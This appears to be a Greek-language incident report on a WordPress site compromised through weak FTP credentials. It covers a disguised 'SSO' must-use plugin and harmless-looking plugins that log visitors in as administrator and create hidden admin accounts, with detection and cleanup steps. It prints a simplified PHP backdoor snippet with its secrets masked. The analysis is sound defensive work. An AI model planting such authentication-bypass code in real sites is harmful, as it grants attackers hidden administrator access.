Κρυφοί administrators σε WordPress, παρότι έτρεχε Wordfence Premium
Ένας ιστότοπος WordPress με ενεργή συνδρομή Wordfence Premium απέκτησε άγνωστους λογαριασμούς administrator. Η αιτία δεν ήταν κάποιο ευάλωτο plugin, αλλά μια αδύναμη σύνδεση FTP και λίγα αρχεία PHP που έμοιαζαν αθώα.
Σύνοψη
- Είσοδος: αδύναμα στοιχεία σύνδεσης FTP.
- Πρώτο backdoor: αρχείο
sso.phpστον φάκελοwp-content/mu-plugins. - Μόνιμη πρόσβαση: plugins με ονόματα όπως
Data Shelf,Site Guard 90E8καιHtml Tool 5014. - Αποτέλεσμα: σύνδεση ως administrator με ένα απλό URL και δημιουργία κρυφών λογαριασμών.
- Wordfence: δεν έβγαλε καμία ειδοποίηση για τα αρχεία αυτά.
Πώς έγινε η επίθεση
1. Αδύναμη σύνδεση FTP
Ο επιτιθέμενος μπήκε μέσω FTP, όχι από τη φόρμα σύνδεσης του WordPress. Έτσι παρέκαμψε εντελώς το firewall, τα όρια προσπαθειών και το 2FA του Wordfence, που προστατεύουν μόνο το login του WordPress. Με πρόσβαση στα αρχεία, μπορούσε να ανεβάσει ό,τι ήθελε.
2. Backdoor στο mu-plugins
Τα αρχεία στο wp-content/mu-plugins («must-use» plugins) φορτώνονται αυτόματα σε κάθε αίτημα, δεν απενεργοποιούνται από το διαχειριστικό και πολλοί διαχειριστές δεν ελέγχουν ποτέ αυτή τη λίστα. Το sso.php παρουσιαζόταν ως plugin «Single Sign-On». Όταν η κλήση περιείχε συγκεκριμένες παραμέτρους στο URL και ένα σωστό hash, ο επισκέπτης συνδεόταν αυτόματα ως ο πρώτος administrator του site και από εκεί όλα ήταν ανοιχτά.

mu-plugins/sso.php: με τις σωστές παραμέτρους URL συνδέει τον επισκέπτη ως administrator.3. Plugins με ονόματα που δεν τραβούν την προσοχή
Με πρόσβαση administrator, ανέβηκαν plugins με ουδέτερες περιγραφές, όπως «Small maintenance toolkit» ή «Streamlines database queries». Όλα κάνουν το ίδιο: ελέγχουν μια κρυφή παράμετρο στο URL και ένα token γραμμένο μέσα στον κώδικα, και αν ταιριάζουν, συνδέουν τον επισκέπτη ως administrator χωρίς κωδικό. Σε απλοποιημένη μορφή, με τα μυστικά κρυμμένα (και στα παρακάτω στιγμιότυπα ο κώδικας είναι ο πραγματικός, με τα tokens, τους κωδικούς και τις κρυφές παραμέτρους καλυμμένα):
add_action('init', function () {
// Κρυφή παράμετρος URL + token γραμμένο μέσα στον κώδικα
if (isset($_GET['[ΚΡΥΦΟ_ΟΝΟΜΑ]']) && hash_equals('[ΚΡΥΦΟ_TOKEN]', $_GET['[ΚΡΥΦΟ_ΟΝΟΜΑ]'])) {
$admins = get_users(['role' => 'administrator', 'number' => 1]);
wp_set_current_user($admins[0]->ID); // γίνεται ο πρώτος administrator
wp_set_auth_cookie($admins[0]->ID); // χωρίς κωδικό, χωρίς 2FA
wp_redirect(admin_url());
exit;
}
});
Το Data Shelf δημιουργεί επιπλέον δικό του λογαριασμό και του δίνει δικαιώματα manage_options και install_plugins. Το Html Tool 5014 πάει ένα βήμα πιο πέρα: φτιάχνει administrator με όνομα εμφάνισης «Media Staff» και τον κρύβει από τη λίστα χρηστών, αφαιρώντας τον ακόμη και από τον αριθμό των administrators. Για να μοιάζει νόμιμο, εκτελεί και μια πραγματική εργασία καθαρισμού της βάσης.



Γιατί δεν το εντόπισε το Wordfence
- Τα αρχεία ανέβηκαν με FTP, όχι μέσω του WordPress, οπότε δεν πέρασαν από το firewall ούτε από τη φόρμα σύνδεσης.
- Ο κώδικας δεν είναι κρυπτογραφημένος και δεν χρησιμοποιεί ύποπτες συναρτήσεις όπως
evalήbase64_decodeσε payload. Καλεί μόνο κανονικές συναρτήσεις του WordPress, όπωςwp_set_auth_cookieκαιwp_insert_user. - Τα ονόματα, οι περιγραφές και οι παράμετροι είναι τυχαία ανά site, οπότε δεν υπάρχει γνωστή «υπογραφή» να ταιριάξει.
- Ένα αίτημα με μια επιπλέον παράμετρο στο URL μοιάζει με κάθε άλλη επίσκεψη.
Τα αρχεία, όμως, ήταν εκεί και φαίνονταν: το «Html Tool 5014» το ανοίξαμε μέσα από το File Viewer του ίδιου του Wordfence. Χρειαζόταν κάποιος να τα κοιτάξει και να καταλάβει τι κάνουν.
Τι να ελέγξετε στο δικό σας WordPress
- Τον φάκελο
wp-content/mu-plugins: κάθε αρχείο εκεί πρέπει να το αναγνωρίζετε. - Τα εγκατεστημένα plugins: όποιο δεν εγκαταστήσατε εσείς ή δεν υπάρχει στο wordpress.org, ελέγξτε το.
- Τους χρήστες κατευθείαν στη βάση (
wp_users,wp_usermeta), όχι μόνο στο διαχειριστικό, γιατί η λίστα μπορεί να «κρύβει» λογαριασμούς. - Τον πίνακα
wp_optionsγια άγνωστες εγγραφές, π.χ. ονόματα που τελειώνουν σε_uid,_verή_sync_token. - Την ακεραιότητα των αρχείων του πυρήνα, π.χ. με
wp core verify-checksums.
Αντιμετώπιση
- Αφαίρεση όλων των κακόβουλων αρχείων και των άγνωστων λογαριασμών.
- Αλλαγή όλων των κωδικών: FTP / hosting, βάση δεδομένων και όλοι οι administrators.
- Νέα security keys και salts στο
wp-config.php, ώστε να ακυρωθούν όλες οι ενεργές συνδέσεις. - Κλείσιμο του FTP. Μόνο SFTP, με ισχυρό κωδικό ή κλειδί, και αν γίνεται, περιορισμός ανά IP.
- Έλεγχος των logs του server για να φανεί πότε και από πού έγινε η είσοδος.
- Παρακολούθηση αλλαγών στα αρχεία και 2FA για όλους τους διαχειριστές.
Το συμπέρασμα: το Wordfence και τα αντίστοιχα εργαλεία κάνουν πολλούς και χρήσιμους ελέγχους, αλλά δεν βλέπουν τα πάντα. Πάντα χρειάζεται και ο ειδικός που μπορεί να προλάβει και να χειριστεί ένα τέτοιο περιστατικό. Δείτε και τις βασικές συμβουλές για κάθε website.